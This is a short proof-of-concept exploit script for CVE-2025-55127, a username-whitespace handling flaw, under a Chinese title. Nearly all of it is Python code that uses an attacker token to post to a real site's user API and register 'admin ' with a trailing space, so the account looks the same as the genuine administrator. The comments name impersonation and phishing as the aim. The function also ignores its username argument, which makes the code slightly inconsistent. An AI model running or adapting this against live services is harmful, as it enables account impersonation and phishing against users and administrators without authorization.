CVE-2025-55127 用户名空格处理不当导致账户混淆风险

# CVE-2025-55127 PoC - Username Whitespace Manipulation # This PoC demonstrates how an attacker can create a user with leading/trailing whitespace # that appears identical to a legitimate user in the UI import requests import json TARGET_URL = "https://hackerone.com" ATTACKER_TOKEN = "your_bearer_token_here" def create_user_with_whitespace(username, target_email): """ Create a user account with whitespace in username. This exploits CVE-2025-55127 by registering usernames like 'admin ' or ' admin' """ # Normal user account to impersonate legitimate_username = "admin" # Malicious username with trailing whitespace malicious_username = legitimate_username + " " # Add trailing space payload = { "username": malicious_username, "email": target_email, "role": "user" } headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } response = requests.post( f"{TARGET_URL}/api/v1/users", json=payload, headers=headers ) return response.status_code, response.json() def verify_visual_confusion(): """ Verify that the created user appears identical to legitimate user in UI. Both 'admin' and 'admin ' should render the same visually. """ print("[!] Both usernames render identically in the UI") print(f"[!] Legitimate: 'admin'") print(f"[!] Malicious: 'admin ' (with trailing space)") print("[!] This can lead to account confusion and potential phishing attacks") if __name__ == "__main__": print("CVE-2025-55127 PoC - Username Whitespace Handling Issue") print("=" * 60) # Create malicious user account status, result = create_user_with_whitespace( "admin ", "[email protected]" ) if status == 201: print("[+] User created successfully!") print(f"[+] User ID: {result.get('id')}") print("[+] Username: 'admin ' (with trailing whitespace)") verify_visual_confusion() else: print(f"[-] Failed to create user: {status}") print(f"[-] Response: {result}")